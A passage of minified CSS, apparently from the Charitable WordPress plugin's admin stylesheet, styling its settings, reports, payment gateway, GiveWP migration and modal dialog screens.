.marketplace-suggestion-container-cta a.linkout:hover{color:#444;text-decoration:underline}#adminmenu #toplevel_page_charitable ul.wp-submenu li.wp-first-item{display:none !important;visibility:hidden !important}body.charitable_legacy_dashboard #adminmenu #toplevel_page_charitable ul.wp-submenu li.wp-first-item{display:unset;visibility:unset}body.taxonomy-campaign_category li#toplevel_page_charitable ul li.tools,body.taxonomy-campaign_tag li#toplevel_page_charitable ul li.tools{font-weight:600 !important;color:white}body.taxonomy-campaign_category li#toplevel_page_charitable ul li.tools a,body.taxonomy-campaign_tag li#toplevel_page_charitable ul li.tools a{font-weight:600 !important;color:white}#adminmenu .wp-submenu a .charitable-menu-new-indicator{color:#f18200;vertical-align:super;font-size:9px}body.charitable_page_charitable-settings table,body.charitable_page_charitable-reports table,body.post-type-charitable.edit-tags-php table,body.charitable_page_charitable-tools table,body.charitable_page_charitable-addons table{border-color:#DDD}body.charitable_page_charitable-settings table thead th a,body.charitable_page_charitable-settings table tfoot th a,body.charitable_page_charitable-reports table thead th a,body.charitable_page_charitable-reports table tfoot th a,body.post-type-charitable.edit-tags-php table thead th a,body.post-type-charitable.edit-tags-php table tfoot th a,body.charitable_page_charitable-tools table thead th a,body.charitable_page_charitable-tools table tfoot th a,body.charitable_page_charitable-addons table thead th a,body.charitable_page_charitable-addons table tfoot th a{color:#6A6C77;font-weight:500}body.charitable_page_charitable-settings table thead th,body.charitable_page_charitable-settings table tfoot th,body.charitable_page_charitable-settings table thead td,body.charitable_page_charitable-settings table tfoot td,body.charitable_page_charitable-reports table thead th,body.charitable_page_charitable-reports table tfoot th,body.charitable_page_charitable-reports table thead td,body.charitable_page_charitable-reports table tfoot td,body.post-type-charitable.edit-tags-php table thead th,body.post-type-charitable.edit-tags-php table tfoot th,body.post-type-charitable.edit-tags-php table thead td,body.post-type-charitable.edit-tags-php table tfoot td,body.charitable_page_charitable-tools table thead th,body.charitable_page_charitable-tools table tfoot th,body.charitable_page_charitable-tools table thead td,body.charitable_page_charitable-tools table tfoot td,body.charitable_page_charitable-addons table thead th,body.charitable_page_charitable-addons table tfoot th,body.charitable_page_charitable-addons table thead td,body.charitable_page_charitable-addons table tfoot td{border-color:#DDD}body.charitable_page_charitable-settings table td.title,body.charitable_page_charitable-reports table td.title,body.post-type-charitable.edit-tags-php table td.title,body.charitable_page_charitable-tools table td.title,body.charitable_page_charitable-addons table td.title{font-weight:400;padding-right:50px}body.charitable_page_charitable-settings table td.title a,body.charitable_page_charitable-reports table td.title a,body.post-type-charitable.edit-tags-php table td.title a,body.charitable_page_charitable-tools table td.title a,body.charitable_page_charitable-addons table td.title a{font-weight:400;color:#454955}body.charitable_page_charitable-settings h1,body.charitable_page_charitable-reports h1,body.post-type-charitable.edit-tags-php h1,body.charitable_page_charitable-tools h1,body.charitable_page_charitable-addons h1{font-family:\"Inter\", sans-serif;font-weight:500;font-size:21px;margin-right:10px;margin-bottom:20px;margin-top:20px}body.post-type-charitable.edit-tags-php #col-container{margin-top:15px}body.post-type-charitable.edit-tags-php h1.wp-heading-inline{display:none}body.charitable_page_charitable-settings div#charitable-settings table.form-table tbody tr th[scope=row] label{font-weight:normal;font-size:inherit;margin:10px 0 6px 0;line-height:20px;font-family:\"Inter\", sans-serif;display:block}.charitable-customizer-section img{float:left;border:1px solid #ccc;padding:5px;margin-right:20px}.charitable-customizer-section a.button.button-primary{background-color:#5AA152;border-color:#5AA152;color:white;border-radius:5px;font-family:\"Inter\", sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize}body.charitable_page_charitable-reports h2.nav-tab-wrapper,body.charitable_page_charitable-tools h2.nav-tab-wrapper,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper,body.charitable_page_charitable-settings h2.nav-tab-wrapper,body.charitable_page_charitable-about h2.nav-tab-wrapper{font-family:\"Inter\", sans-serif;margin-bottom:25px;display:inline-block;border-bottom:1px solid #D5D6D8;padding-left:0px;padding-right:20px;margin-bottom:5px;width:calc(100% - 40px)}body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab{margin:0 15px 0 0;font-family:\"Inter\", sans-serif;border:0;background:none;color:#85878F;font-size:15px;line-height:18px;padding-bottom:25px;padding-left:15px;padding-right:15px;font-weight:400;border-bottom:2px solid transparent}body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab.nav-tab-active{color:#2F3241;font-weight:600;border-bottom:2px solid #5AA152}body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after, body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after{content:\"Pro\";background-color:#F99E36;padding:3px 7px;font-size:11px;line-height:11px;text-transform:uppercase;color:white;font-weight:600;margin-left:5px;margin-right:5px;margin-top:0;position:relative;top:-7px}body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after{display:none}body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab:hover,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab:hover,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab:hover,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab:hover,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab:hover,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab:hover,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab:hover,body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab:hover{color:#2F3241;border-bottom:2px solid #D5D6D8}body.charitable_page_charitable-tools h3.nav-sub-tab-wrapper{font-family:\"Inter\", sans-serif;margin:10px 0 0 0;padding:0;border-bottom:none;font-size:14px;font-weight:400}body.charitable_page_charitable-reports h3.nav-sub-tab-wrapper a.nav-tab,body.charitable_page_charitable-tools h3.nav-sub-tab-wrapper a.nav-tab,body.charitable_page_charitable-settings h3.nav-sub-tab-wrapper a.nav-tab,body.charitable_page_charitable-about h3.nav-sub-tab-wrapper a.nav-tab{font-size:13px;line-height:13px;padding:10px 15px;border-bottom:2px solid transparent;background-color:transparent;border-top:0;border-left:0;border-right:0;font-weight:400;margin-left:0}body.charitable_page_charitable-reports h3.nav-sub-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-tools h3.nav-sub-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-settings h3.nav-sub-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-about h3.nav-sub-tab-wrapper a.nav-tab.nav-tab-active{font-style:normal;font-weight:600;line-height:130%;border-bottom:2px solid #5AA152;color:#5AA152}tr.charitable-tools-heading-pro th[scope=row] h4{font-size:20px !important;font-weight:600 !important;margin:20px 0 6px 0 !important;line-height:20px !important}tr.charitable-tools-heading-pro th[scope=row] p{font-size:14px;font-weight:600;color:#50575E;margin:4px 0 0 0}.charitable-import-pro-notice{background:#FFF8E5;border:1px solid #F99E36;padding:12px 16px;margin:0 0 20px 0;font-family:\"Inter\", sans-serif;font-size:13px;line-height:1.6}.charitable-import-pro-notice p{margin:0}.charitable-import-pro-notice a{color:#B8600B}th .badge.beta,th label .badge.beta{display:inline-block;color:#fff;background-color:#007bff;font-size:10px;font-weight:700;letter-spacing:0.5px;padding:2px 8px;border-radius:0.25rem;text-transform:uppercase;line-height:1.4;vertical-align:middle;margin-left:6px}tr.charitable-givewp-migration-row th[scope=row] label{font-size:13px;font-weight:600}.charitable-givewp-migration-wrap{max-width:520px;padding:10px 0;font-family:\"Inter\", sans-serif}.charitable-givewp-migration-wrap .migration-info-box{background:#F6F7F7;border:1px solid #E1E1E1;border-radius:4px;padding:16px 20px;margin-bottom:16px}.charitable-givewp-migration-wrap .migration-info-box.charitable-before-import{background:#FFF8E5;border:1px solid #DBA617}.charitable-givewp-migration-wrap .migration-info-box .info-box-heading{margin:0 0 8px 0;font-size:13px}.charitable-givewp-migration-wrap .migration-info-box ul{margin:0;padding:0 0 0 18px;list-style:disc}.charitable-givewp-migration-wrap .migration-info-box ul li{font-size:13px;line-height:1.6;color:#50575E;margin-bottom:4px}.charitable-givewp-migration-wrap .migration-data-found{border-collapse:collapse;width:100%;margin:0}.charitable-givewp-migration-wrap .migration-data-found td{padding:4px 12px 4px 0;font-size:13px;color:#50575E;border:none}.charitable-givewp-migration-wrap .migration-data-found td.data-count{font-weight:700;color:#1D2327;width:40px}.charitable-givewp-migration-wrap .migration-select-section{margin-bottom:16px}.charitable-givewp-migration-wrap .migration-select-section .select-heading{margin:0 0 10px 0;font-size:13px}.charitable-givewp-migration-wrap .migration-options{margin-bottom:10px;padding-bottom:10px;border-bottom:1px solid #E1E1E1}.charitable-givewp-migration-wrap .migration-options label{display:block;margin-bottom:8px;font-size:13px;color:#1D2327;cursor:pointer}.charitable-givewp-migration-wrap .migration-options label input[type=\"checkbox\"]{margin-right:6px}.charitable-givewp-migration-wrap .migration-extra-options{margin-bottom:0}.charitable-givewp-migration-wrap .migration-extra-options label{display:block;margin-bottom:6px;font-size:13px;color:#1D2327;cursor:pointer}.charitable-givewp-migration-wrap .migration-extra-options label input[type=\"checkbox\"]{margin-right:6px}.charitable-givewp-migration-wrap .migration-extra-options .option-description{color:#888;font-style:italic;font-size:12px}.charitable-givewp-migration-wrap .migration-button-wrap{margin:20px 0}.charitable-givewp-migration-wrap .charitable-migration-btn{display:inline-flex;align-items:center;gap:6px;background:#5AA152;color:#fff;border:none;border-radius:4px;padding:10px 22px;font-size:14px;font-weight:600;font-family:\"Inter\", sans-serif;cursor:pointer;line-height:1.4;transition:background 0.2s ease}.charitable-givewp-migration-wrap .charitable-migration-btn:hover{background:#4A8A44;color:#fff}.charitable-givewp-migration-wrap .charitable-migration-btn:disabled{opacity:0.6;cursor:not-allowed}.charitable-givewp-migration-wrap .charitable-migration-btn .dashicons{font-size:18px;width:18px;height:18px;line-height:1}.charitable-givewp-migration-wrap .migration-progress{display:none;margin-top:15px}.charitable-givewp-migration-wrap .progress-bar-outer{width:100%;height:24px;background:#F0F0F1;border-radius:3px;overflow:hidden}.charitable-givewp-migration-wrap .progress-bar-inner{width:0;height:100%;background:#5AA152;transition:width 0.3s ease;border-radius:3px}.charitable-givewp-migration-wrap .progress-status{margin-top:8px;font-size:13px;color:#646970}.charitable-givewp-migration-wrap .migration-results,.charitable-givewp-migration-wrap .migration-dry-run-results{display:none;margin-top:15px}.charitable-givewp-migration-wrap .migration-results h4,.charitable-givewp-migration-wrap .migration-dry-run-results h4{font-size:14px;font-weight:600;margin:0 0 10px 0}.charitable-givewp-migration-wrap .migration-results table,.charitable-givewp-migration-wrap .migration-dry-run-results table{border-collapse:collapse;width:100%}.charitable-givewp-migration-wrap .migration-results table th,.charitable-givewp-migration-wrap .migration-results table td,.charitable-givewp-migration-wrap .migration-dry-run-results table th,.charitable-givewp-migration-wrap .migration-dry-run-results table td{padding:8px 12px;text-align:left;border-bottom:1px solid #E1E1E1;font-size:13px}.charitable-givewp-migration-wrap .migration-results table th,.charitable-givewp-migration-wrap .migration-dry-run-results table th{font-weight:600;color:#1D2327}.charitable-givewp-migration-wrap .migration-error{display:none;color:#D63638;margin-top:10px;font-size:13px}body.charitable_page_charitable-reports div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4,body.charitable_page_charitable-reports h4,body.charitable_page_charitable-tools div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4,body.charitable_page_charitable-tools h4,body.charitable_page_charitable-settings div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4,body.charitable_page_charitable-settings h4{font-family:\"Inter\", sans-serif;font-weight:500}body.charitable_page_charitable-reports.charitable-admin-settings-gateways div#charitable-settings table.form-table th,body.charitable_page_charitable-tools.charitable-admin-settings-gateways div#charitable-settings table.form-table th,body.charitable_page_charitable-settings.charitable-admin-settings-gateways div#charitable-settings table.form-table th{min-width:auto !important}body.charitable_page_charitable-reports.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr th[scope=row] h4,body.charitable_page_charitable-tools.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr th[scope=row] h4,body.charitable_page_charitable-settings.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr th[scope=row] h4{padding-bottom:20px}body.charitable_page_charitable-reports.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr td,body.charitable_page_charitable-tools.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr td,body.charitable_page_charitable-settings.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr td{padding-top:5px}body.charitable_page_charitable-reports.charitable-admin-settings-gateways div#charitable-settings table.form-table a.wpcharitable-stripe-connect,body.charitable_page_charitable-tools.charitable-admin-settings-gateways div#charitable-settings table.form-table a.wpcharitable-stripe-connect,body.charitable_page_charitable-settings.charitable-admin-settings-gateways div#charitable-settings table.form-table a.wpcharitable-stripe-connect{margin-top:-10px}body.charitable_page_charitable-reports.charitable-admin-settings-gateways .charitable-settings-field,body.charitable_page_charitable-tools.charitable-admin-settings-gateways .charitable-settings-field,body.charitable_page_charitable-settings.charitable-admin-settings-gateways .charitable-settings-field{font-size:13px;margin-top:10px}body.charitable_page_charitable-reports.charitable-admin-settings-gateways #charitable_settings_test_mode.charitable-settings-field,body.charitable_page_charitable-tools.charitable-admin-settings-gateways #charitable_settings_test_mode.charitable-settings-field,body.charitable_page_charitable-settings.charitable-admin-settings-gateways #charitable_settings_test_mode.charitable-settings-field{margin-top:-10px}body.charitable_page_charitable-reports .charitable-settings-object h4,body.charitable_page_charitable-tools .charitable-settings-object h4,body.charitable_page_charitable-settings .charitable-settings-object h4{line-height:40px}body.charitable_page_charitable-reports .charitable-settings-object.charitable-gateway,body.charitable_page_charitable-tools .charitable-settings-object.charitable-gateway,body.charitable_page_charitable-settings .charitable-settings-object.charitable-gateway{min-height:40px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo{float:left;padding:5px 0 0 20px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-badge,body.charitable_page_charitable-tools .charitable-settings-object .gateway-badge,body.charitable_page_charitable-settings .charitable-settings-object .gateway-badge{background-color:#347d39 !important;font-weight:500;color:white;font-size:0.775rem;line-height:1.25rem;padding-bottom:0.225rem;padding-left:0.625rem;padding-right:0.625rem;padding-top:0.225rem}body.charitable_page_charitable-reports .charitable-settings-object .make-default-gateway,body.charitable_page_charitable-tools .charitable-settings-object .make-default-gateway,body.charitable_page_charitable-settings .charitable-settings-object .make-default-gateway{display:inline-block;color:#2B66D1;text-transform:capitalize;font-weight:500;font-size:12px;line-height:12px;margin-left:0 !important;text-decoration:underline}body.charitable_page_charitable-reports .charitable-settings-object .make-default-gateway i,body.charitable_page_charitable-tools .charitable-settings-object .make-default-gateway i,body.charitable_page_charitable-settings .charitable-settings-object .make-default-gateway i{font-size:15px;line-height:15px;margin-right:3px}body.charitable_page_charitable-reports .charitable-settings-object .default-gateway,body.charitable_page_charitable-tools .charitable-settings-object .default-gateway,body.charitable_page_charitable-settings .charitable-settings-object .default-gateway{margin-top:6px;display:inline-block}body.charitable_page_charitable-reports .charitable-settings-object > .charitable-badge,body.charitable_page_charitable-tools .charitable-settings-object > .charitable-badge,body.charitable_page_charitable-settings .charitable-settings-object > .charitable-badge{margin-left:15px;top:8px;position:relative}body.charitable_page_charitable-reports .charitable-settings-object > .charitable-badge ~ .charitable-badge,body.charitable_page_charitable-tools .charitable-settings-object > .charitable-badge ~ .charitable-badge,body.charitable_page_charitable-settings .charitable-settings-object > .charitable-badge ~ .charitable-badge{margin-left:5px}body.charitable_page_charitable-reports .charitable-settings-object,body.charitable_page_charitable-tools .charitable-settings-object,body.charitable_page_charitable-settings .charitable-settings-object{display:flex;flex-direction:row;align-items:center;justify-content:space-between}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo{padding:0}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo-name,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo-name,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo-name{padding:0 0 0 10px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo-name .charitable-badge,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo-name .charitable-badge,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo-name .charitable-badge{margin-right:10px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo,body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo-name h4,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo-name h4,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo-name h4{width:130px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo{margin-bottom:-5px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo-name,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo-name,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo-name{display:flex;align-items:center;justify-content:center;flex-direction:row}body.charitable_page_charitable-reports .charitable-settings-object.square .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object.square .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object.square .gateway-logo{margin-bottom:-5px}body.charitable_page_charitable-reports tr.charitable-test-mode-checkbox,body.charitable_page_charitable-tools tr.charitable-test-mode-checkbox,body.charitable_page_charitable-settings tr.charitable-test-mode-checkbox{display:flex;justify-content:left;align-items:center;width:calc(100% - 20px)}body.charitable_page_charitable-reports tr.charitable-test-mode-checkbox th h4,body.charitable_page_charitable-tools tr.charitable-test-mode-checkbox th h4,body.charitable_page_charitable-settings tr.charitable-test-mode-checkbox th h4{padding:0 !important;margin:0 !important}body.charitable_page_charitable-reports tr.charitable-test-mode-checkbox td,body.charitable_page_charitable-tools tr.charitable-test-mode-checkbox td,body.charitable_page_charitable-settings tr.charitable-test-mode-checkbox td{margin:0;padding:0}body.charitable_page_charitable-reports .square-business-locations.square-disconnected,body.charitable_page_charitable-tools .square-business-locations.square-disconnected,body.charitable_page_charitable-settings .square-business-locations.square-disconnected{display:none !important}body.charitable-admin-settings-gateways.charitable-admin-settings-gateways-main table.form-table tbody tr:last-child{display:none}body.charitable-admin-settings-gateways.charitable-admin-settings-gateways-main p.submit{margin-bottom:40px}body.charitable-admin-settings a.button,body.taxonomy-campaign_tag a.button,body.taxonomy-campaign_category a.button{background-color:#F8F8F9;border-color:#D7D7DB;color:#5C5F6A;border-radius:5px;padding:5px 10px}body.charitable-admin-settings a.button:hover,body.taxonomy-campaign_tag a.button:hover,body.taxonomy-campaign_category a.button:hover{background-color:#d1d1d8;border-color:#D7D7DB}body.charitable-admin-settings a.button-primary,body.taxonomy-campaign_tag a.button-primary,body.taxonomy-campaign_category a.button-primary{background-color:#5AA152;border-color:#5AA152;color:white;border-radius:5px}body.charitable-admin-settings a.button-primary:hover,body.taxonomy-campaign_tag a.button-primary:hover,body.taxonomy-campaign_category a.button-primary:hover{background-color:#3f7539;border-color:#3f7539}body.charitable-admin-settings input.button-primary[type=submit],body.taxonomy-campaign_tag input.button-primary[type=submit],body.taxonomy-campaign_category input.button-primary[type=submit]{background-color:#5AA152;border-color:#5AA152;color:white;border-radius:5px;font-family:\"Inter\", sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize}body.charitable-admin-settings input.button-primary[type=submit]:hover,body.taxonomy-campaign_tag input.button-primary[type=submit]:hover,body.taxonomy-campaign_category input.button-primary[type=submit]:hover{background-color:#3f7539;border-color:#3f7539}body.taxonomy-campaign_tag input.button-primary[type=submit],body.taxonomy-campaign_category input.button-primary[type=submit]{line-height:0;height:50px}.charitable-badge{font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;text-transform:uppercase;font-weight:700;text-align:center;line-height:6px;user-select:none;transition-property:all;transition-duration:0.15s;transition-timing-function:ease-out}.charitable-badge i.fa{margin-right:5px}.charitable-badge-sm{font-size:8px;letter-spacing:0.4px;padding:6px 8px}.charitable-badge-inline{display:inline-block}.charitable-badge-green{color:#30b450;background-color:#e5f6e9}.charitable-badge-orange{color:#f18200;background-color:#fff3e6}.charitable-badge-rounded{border-radius:3px}.charitable-panel-sidebar .charitable-badge{border-radius:4px;color:#ffffff;font-size:10px;font-weight:700;line-height:1;padding:4px 5px;margin-inline-end:10px;position:relative;top:-2px;left:10px}.charitable-panel-sidebar .charitable-badge-green{color:#fff;background-color:#00a32a}body.wp-admin #wpbody .charitable-wrap .badge.v2{background-color:transparent !important}body.wp-admin #wpbody .charitable-wrap .badge.v2 .mascot{height:75px;width:75px;background-image:url(\"..\u002F..\u002Fassets\u002Fimages\u002Fcharitable-logo.svg\");background-size:cover;background-repeat:no-repeat}.charitable-hide{display:none}.charitable-hidden{display:none !important}.screen-reader-text{border:0;clip:rect(1px, 1px, 1px, 1px);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal !important}div#charitable-settings table.form-table tbody tr.section-heading th[scope=row] h4,div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4{font-weight:600 !important}div#charitable-tools table.form-table tbody tr:first-child th[scope=row] h4{font-weight:600 !important;font-size:20px;margin:0 0 -20px 0;line-height:20px}div#charitable-tools h4#system-information,div#charitable-tools h4#code-snippets{font-weight:600 !important;font-size:20px;margin:20px 0;line-height:20px}.notice.charitable-notice{padding:10px 10px}body.post-type-campaign .jconfirm .jconfirm-box{padding:0 0 0}body.post-type-campaign .jconfirm .jconfirm-box .jconfirm-closeIcon{color:#545660;padding-top:5px;padding-right:10px;font-size:40px !important}body.post-type-campaign .jconfirm .jconfirm-box div.jconfirm-content-pane{margin:35px 30px -10px 30px;width:-webkit-calc(100% - 30px);width:-moz-calc(100% - 30px);width:calc(100% - 30px)}body.post-type-campaign .jconfirm .jconfirm-box div.jconfirm-title-c{padding:30px 0 40px 30px;background-color:#282937}body.post-type-campaign .jconfirm .jconfirm-box div.jconfirm-title-c span.jconfirm-title{color:#ffffff;font-weight:600}body.post-type-campaign .jconfirm .jconfirm-box .jconfirm-buttons{float:left;padding:0 30px 30px 30px}body.post-type-campaign .jconfirm .jconfirm-box .jconfirm-buttons button.btn-green{background-color:#5AA152;text-transform:capitalize;border-radius:5px;font-weight:500;padding:15px 25px;font-size:16px;line-height:20px}body.post-type-campaign .jconfirm .jconfirm-box .jconfirm-buttons button.btn-green:hover{background-color:#3f7539}body.post-type-campaign .jconfirm .jconfirm-box input.campaign_name.form-control{border-color:#DFDFE1;display:inline-block;margin-left:10px;margin-top:20px;margin-bottom:20px !important;width:90% !important}body.post-type-campaign .jconfirm .jconfirm-box label{display:inline-block !important;margin-top:0 !important}body.post-type-campaign .jconfirm .jconfirm-box a.charitable-lite-pro-popup-link{color:#3459C4 !important;text-decoration:none}body.post-type-campaign .jconfirm .jconfirm-box a.charitable-lite-pro-popup-link:hover{text-decoration:underline}body.post-type-campaign .jconfirm .jconfirm-box.jconfirm-type-create-campaign .jconfirm-closeIcon{color:white;opacity:0.7;width:15px;height:15px;top:25px;right:25px;font-weight:200;font-size:28px !important}body.post-type-campaign .jconfirm .jconfirm-box.jconfirm-type-create-campaign .jconfirm-title-c{color:#E7E7E9;padding:30px 0 30px 30px !important;font-size:18px;font-weight:600}body.post-type-campaign .jconfirm .jconfirm-box.jconfirm-type-create-campaign div.jconfirm-content-pane{margin:0 30px 0 30px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal{max-width:400px;background-color:#ffffff;color:#5C5F6B;font-family:\"Inter\", sans-serif}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal .modal-close{position:absolute;top:10px;right:10px;z-index:10;cursor:pointer}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal .modal-close::before{content:\"\\f158\";display:block !important;font:normal 20px\u002F1 dashicons;speak:none;height:22px;margin:2px 0;text-align:center;width:22px;color:#777;-webkit-font-smoothing:antialiased !important;-moz-osx-font-smoothing:grayscale}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal h3{margin:0 0 30px 0;font-size:24px;line-height:32px;font-weight:400;text-align:left;color:#5C5F6B}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal legend,body.post-type-campaign.edit-php.post-type-charitable .charitable-modal label{color:#303442;margin-bottom:10px;display:block;font-size:14px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal select{width:100%;padding:5px 15px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal select,body.post-type-campaign.edit-php.post-type-charitable .charitable-modal input[type=text]{margin-bottom:20px;border-radius:4px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal button.button{background:#FAFAFB;font-weight:500;font-size:12px;line-height:14px;text-align:center;margin:0 auto 0 0;color:#5E616C;border:1px solid #DDD;border-radius:4px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal input.charitable-datepicker{width:48%;display:inline-block;background-image:url(\"..\u002F..\u002Fimages\u002Ficons\u002Fcalendar.png\");background-repeat:no-repeat;background-position:163px center;background-size:15px 15px;border:1px solid #E3E3E5;border-radius:4px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal #charitable-filter-end_date_to,body.post-type-campaign.edit-php.post-type-charitable .charitable-modal #charitable-filter-start_date_to{float:right}body.post-type-donation .jconfirm .jconfirm-box{padding:0 0 0}body.post-type-donation .jconfirm .jconfirm-box .jconfirm-closeIcon{color:#545660;padding-top:5px;padding-right:10px;font-size:40px !important}body.post-type-donation .jconfirm .jconfirm-box div.jconfirm-content-pane{margin:35px 30px -10px 30px;width:-webkit-calc(100% - 30px);width:-moz-calc(100% - 30px);width:calc(100% - 30px)}body.post-type-donation .jconfirm .jconfirm-box div.jconfirm-title-c{padding:30px 0 40px 30px;background-color:#282937}body.post-type-donation .jconfirm .jconfirm-box div.jconfirm-title-c span.jconfirm-title{color:#ffffff;font-weight:600}body.post-type-donation .jconfirm .jconfirm-box 